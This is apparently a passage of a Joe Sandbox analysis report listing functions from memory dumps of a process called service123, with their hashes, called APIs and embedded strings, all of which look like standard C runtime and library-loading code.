Opcode ID: 06e0c648a8d817803f94ec4fed503a03ca8cf05461f9862a5274ef0ffe4ad900
Instruction ID: 6543e824398cb21b282d274e0fb980dc2c0ddfa0bdef1a64170cd18e2c5dd154
Opcode Fuzzy Hash: 06e0c648a8d817803f94ec4fed503a03ca8cf05461f9862a5274ef0ffe4ad900
Instruction Fuzzy Hash: 4D01A176A1921A8FC710CE18C480A9BF7E6EB85314F455D29E8B587624E234E8CBC7C2

Function 00522BF0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00522CC1

Strings

o, xrefs: 005230A8
0, xrefs: 0052313E

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: memset
String ID: 0$o
API String ID: 2221118986-4157579757
Opcode ID: 5a2ef28bdbcba101e83cdabdda6d05f5f0490c8583f277cf0ba504eb215e70c5
Instruction ID: 5f58f6b009515defa9ecc33634bb8a8200005009137b071973543c1738b2f698
Opcode Fuzzy Hash: 5a2ef28bdbcba101e83cdabdda6d05f5f0490c8583f277cf0ba504eb215e70c5
Instruction Fuzzy Hash: 6AF1A175A042299FCB14CF68D4846ADBFF2BF8A360F19C229D854AB391D334ED45CB90

Function 6D0032C0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6D003391

Strings

0, xrefs: 6D00380E
o, xrefs: 6D003778

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memset
String ID: 0$o
API String ID: 2221118986-4157579757
Opcode ID: 00cb2d98c6e32ca29e5df2379417918a183b51e8976e900d5a5783c2af379635
Instruction ID: 1d20c940e77d31dfa3d3909ad06598c2b0cf0289cd7694c1620de95629efd643
Opcode Fuzzy Hash: 00cb2d98c6e32ca29e5df2379417918a183b51e8976e900d5a5783c2af379635
Instruction Fuzzy Hash: 3AF18275A046059FEB02CF68C480B9DBBF6BF8D360F19C229D858AB391D734E945CB90

Function 005214E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 005214F0
LoadLibraryA.KERNEL32 ref: 00521506
GetProcAddress.KERNEL32 ref: 00521525
GetProcAddress.KERNEL32 ref: 00521537

Strings

__register_frame_info, xrefs: 0052151A
libgcc_s_dw2-1.dll, xrefs: 005214E9, 005214FF
__deregister_frame_info, xrefs: 0052152C

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: 3444fa219a80ac4d81422212b5298dd10f6feb07ac430b0b92b5bca8bc5e541b
Instruction ID: d462fc9bcdfe66d5b0035940108228e777598e020ca47b3a71c7aad9b38c3654
Opcode Fuzzy Hash: 3444fa219a80ac4d81422212b5298dd10f6feb07ac430b0b92b5bca8bc5e541b
Instruction Fuzzy Hash: 05015AB19092248BC7107F78B94D21EBFF4BF96350F014569D98987280E7709859DBA7

Function 6CFF13E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 6CFF13F0
LoadLibraryA.KERNEL32 ref: 6CFF1406
GetProcAddress.KERNEL32 ref: 6CFF1425
GetProcAddress.KERNEL32 ref: 6CFF1437

Strings

__register_frame_info, xrefs: 6CFF141A
__deregister_frame_info, xrefs: 6CFF142C
libgcc_s_dw2-1.dll, xrefs: 6CFF13E9, 6CFF13FF

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: 76d81f5ca66fb7b1616f760370b8975d1061c11f49904879945bd652c882936e
Instruction ID: 623fb0d18e8cde39efef73b94111350e4def15a24be41607fdf8a0a3e7bbcfbd
Opcode Fuzzy Hash: 76d81f5ca66fb7b1616f760370b8975d1061c11f49904879945bd652c882936e
Instruction Fuzzy Hash: B4015EB180A3009BD700BF78AA0A31E7FF4EB82650F11842DD5A987710DB70C405CBA3

Function 6D017170 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 237stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 6D0171C1
strlen.MSVCRT ref: 6D0171DB
strlen.MSVCRT ref: 6D01722B
strlen.MSVCRT ref: 6D017288
strlen.MSVCRT ref: 6D0172DC

Strings

*, xrefs: 6D017410
basic_string::append, xrefs: 6D01747A, 6D017486, 6D017492, 6D01749E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen$strcmp
String ID: *$basic_string::append
API String ID: 551667898-3732199748
Opcode ID: c0432d2a8d2a41021ebe6af725a92e04f92cd060c95cc9026e1dba4fb5ddb64c
Instruction ID: 22d95f282523d864b3527e158ad9ec798f152d5bcb5989da9f2db02d19259f5c
Opcode Fuzzy Hash: c0432d2a8d2a41021ebe6af725a92e04f92cd060c95cc9026e1dba4fb5ddb64c
Instruction Fuzzy Hash: EFA117B0A08211DFEB00DF68C48476EBBE1BB89308F56896DD8989F355D735E845CB93

Function 6D093B80 Relevance: 12.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6D093C1F
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6D02E77E), ref: 6D093C83
memmove.MSVCRT ref: 6D093CBB
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6D02E77E), ref: 6D093D2A

Strings

basic_string::_M_replace, xrefs: 6D093EAF

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 38405b3234987272a39da4879ec7f3eb413513d3eb1a91cada1b77ce23f602a2
Instruction ID: 9b34a59f88a8acd7201c2dea1cd04ae67a00309a4b14595eec5ac3e2b5450f6a
Opcode Fuzzy Hash: 38405b3234987272a39da4879ec7f3eb413513d3eb1a91cada1b77ce23f602a2
Instruction Fuzzy Hash: DC9113756087558FD700CF68C080A6EBBE1BF8D344F45992DE4899B360E774E986DF82

Function 6CFFE800 Relevance: 12.1, APIs: 8, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 1884a794d3d441725b09e7e72905d71cc32fb0140713b8c23ce069bb11cd822c
Instruction ID: b8e5ba09b589a4a6a970f5e0aac333920b13d42c63b28828887c393888cdd01c
Opcode Fuzzy Hash: 1884a794d3d441725b09e7e72905d71cc32fb0140713b8c23ce069bb11cd822c
Instruction Fuzzy Hash: 3A21A431A5420DDFD710EE19C4C1A9BB7A6EB96314F548A25D4A447A38E330E88FC7D6

Function 00521E70 Relevance: 12.1, APIs: 8, Instructions: 84COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00521EAF
signal.MSVCRT ref: 00521EF6
signal.MSVCRT ref: 00521F0F
signal.MSVCRT ref: 00521F36
signal.MSVCRT ref: 00521F72
signal.MSVCRT ref: 00521FBF
signal.MSVCRT ref: 00521FD5
signal.MSVCRT ref: 00521FEB

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 72add5f79f090f142379a60e8263f26d7c8578acf10c66b734e95084a86e16cb
Instruction ID: c4db15ce841f07f7731f012d3f5771af43748fd4393b5b0d05dfa4a4ccfd47b0
Opcode Fuzzy Hash: 72add5f79f090f142379a60e8263f26d7c8578acf10c66b734e95084a86e16cb
Instruction Fuzzy Hash: F2312D705096218AE7206FA4EA4832F7ED4BFA7354F154D0DE8D4862C1CB7DC8C89B6B

Function 00524360 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00524378

Strings

@, xrefs: 00524647
Inf, xrefs: 00524E35, 00524E4D
NaN, xrefs: 00524D3B

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: 2ee8873da2cc41e59e2212218410acaf80e8566185c7657807375597fefc83d4
Instruction ID: d76986d36c43a4f07bb5f7edde4606fc6cc311837c3c1df092dba34222ff2005
Opcode Fuzzy Hash: 2ee8873da2cc41e59e2212218410acaf80e8566185c7657807375597fefc83d4
Instruction Fuzzy Hash: 37F1BE7560C3A18BDB319F24E0903ABBFE1BF86314F158A1DE9D9872C1D73599068F82

Function 6D004A30 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 6D004A48

Strings

Inf, xrefs: 6D005505, 6D00551D
@, xrefs: 6D004D17
NaN, xrefs: 6D00540B

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: d02a280a369629984f9c1fc213c85e31442ab7858074ac17740b667f9d1d7914
Instruction ID: 0016755ef6c7acce18e1dfde1e1fc3a92a144105485367549f4d817cfbb36565
Opcode Fuzzy Hash: d02a280a369629984f9c1fc213c85e31442ab7858074ac17740b667f9d1d7914
Instruction Fuzzy Hash: 30F18E7460C382ABF7618F24C4907AFBBE1BF8A314F558A2DD9DC87281D735D9058B86

Function 00523160 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

@, xrefs: 0052342A
0, xrefs: 005234C6

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: e57f9d77be607eb7be2d65c7f691f863806e0b74bc638be5844c6890f5152d77
Instruction ID: 19a0f1d5ba5643afbd74ef867479cc44aff2c9512a63b288855eb4dc4b8f7121
Opcode Fuzzy Hash: e57f9d77be607eb7be2d65c7f691f863806e0b74bc638be5844c6890f5152d77
Instruction Fuzzy Hash: ECC18C71E002258BCB15CF6CE48479DBBF1BF9A310F188659E858AB385D738EE45CB90

Function 6D003830 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

@, xrefs: 6D003AFA
0, xrefs: 6D003B96

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: 852fd2e7f322feda59a9287ec6fcafc659018383277beee50283a5623e34e20d
Instruction ID: 1fb39e450ddc3be0fbe281f9851d85f35ae83bef986a685259a1fc3ef5024078
Opcode Fuzzy Hash: 852fd2e7f322feda59a9287ec6fcafc659018383277beee50283a5623e34e20d
Instruction Fuzzy Hash: 02C15A71A14616ABFB06CF6CC884BDDBBF1BF89314F158259E854AB385D374E841CB90

Function 6D01B5C0 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6D01B5E6
memcmp.MSVCRT ref: 6D01B60A
memcmp.MSVCRT ref: 6D01B67D
memcmp.MSVCRT ref: 6D01B6EF

Part of subcall function 6D0BAB60: strlen.MSVCRT ref: 6D0BAB6E

memcmp.MSVCRT ref: 6D01B787

Strings

basic_string::compare, xrefs: 6D01B629, 6D01B69A, 6D01B70D, 6D01B7A6, 6D01B7C2
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6D01B631, 6D01B6A2, 6D01B715, 6D01B7AE, 6D01B7CA

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: dfedce22fcc9a98eed894af79bc3c3d57b967bd2bf0a49947ffe36096998096c
Instruction ID: c0af216311855e03c535553b5f72990a46584fa0a439b82dbfc21e7a9dbba9c2
Opcode Fuzzy Hash: dfedce22fcc9a98eed894af79bc3c3d57b967bd2bf0a49947ffe36096998096c
Instruction Fuzzy Hash: 3E6126B160D311AFE3009F6AD9C4A1ABBE5BF99694F15892DE8C887311E371D840CB93

Function 6D0174C0 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 211stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6D0630D0: memset.MSVCRT ref: 6D063115

strcmp.MSVCRT ref: 6D017521
strlen.MSVCRT ref: 6D01753C
strlen.MSVCRT ref: 6D017583
strlen.MSVCRT ref: 6D0175F4
strlen.MSVCRT ref: 6D017662

Strings

*, xrefs: 6D017740

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen$memsetstrcmp
String ID: *
API String ID: 3639840916-163128923
Opcode ID: c0375978e8cb803b7421c81d0287661726444254d6f42c674d0e3e55d25c21c2
Instruction ID: 881d71019f32fc6c40d01c171ae83be51db09afe6da078ea18d45c306d9ae06a
Opcode Fuzzy Hash: c0375978e8cb803b7421c81d0287661726444254d6f42c674d0e3e55d25c21c2
Instruction Fuzzy Hash: CB8122B5A09A018FEB00DF68C88876EFBF5BF89304F4185ADD9459B350D735E805CB92

Function 6CFFE8E0 Relevance: 10.7, APIs: 7, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 6949fccd0a9c3e9d3ac8c5b45f2aac2a255c09ca815fc16772279bff97c29dd2
Instruction ID: b6c67af95268bd934b6610818184f514a1e6e4315a8ad5f51e9c70e7b134085d
Opcode Fuzzy Hash: 6949fccd0a9c3e9d3ac8c5b45f2aac2a255c09ca815fc16772279bff97c29dd2
Instruction Fuzzy Hash: 1F517D715497058FD720CF19C08065AB7E2FF8A308F448A5AE9E89B765D330D94BCBE6

Function 6CFFE340 Relevance: 10.6, APIs: 7, Instructions: 126synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6CFFE487
WaitForSingleObject.KERNEL32 ref: 6CFFE4C8

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: 9323e5c918b42be6b8fff3d651830835bec5031fbd57a2f98219b8133512ef13
Instruction ID: 87b58477e18b5bd99a009d1aac77c8d101decd78866f2b1647164a675a08aa1e
Opcode Fuzzy Hash: 9323e5c918b42be6b8fff3d651830835bec5031fbd57a2f98219b8133512ef13
Instruction Fuzzy Hash: E1514D70605302CFEB10DF69DA8871A7BF5EB46308F24462DD875877A4D7B0D446CBA2

Function 6D0001F0 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6D000209
memcpy.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D00022D
malloc.MSVCRT ref: 6D000247
memset.MSVCRT ref: 6D000275
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort$malloc$memcpymemset
String ID:
API String ID: 334492700-0
Opcode ID: e6d7780d917140ca2a5588e03258049156473324d9afcb76f04c1c6ed51653e4
Instruction ID: c07e00e586ec8caf98ea1e8bb570d6710df57301bd92aae18ec4679b27b3ee03
Opcode Fuzzy Hash: e6d7780d917140ca2a5588e03258049156473324d9afcb76f04c1c6ed51653e4
Instruction Fuzzy Hash: 2C1173B2A0C705AFF700AF69E480AAAF7E4FF45259F46897DD94887210E731D508C7A2

Function 00528120 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0052812C
GetProcAddress.KERNEL32 ref: 0052814C
GetProcAddress.KERNEL32 ref: 0052818B

Strings

msvcrt.dll, xrefs: 00528125
__lc_codepage, xrefs: 00528180
___lc_codepage_func, xrefs: 00528144

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
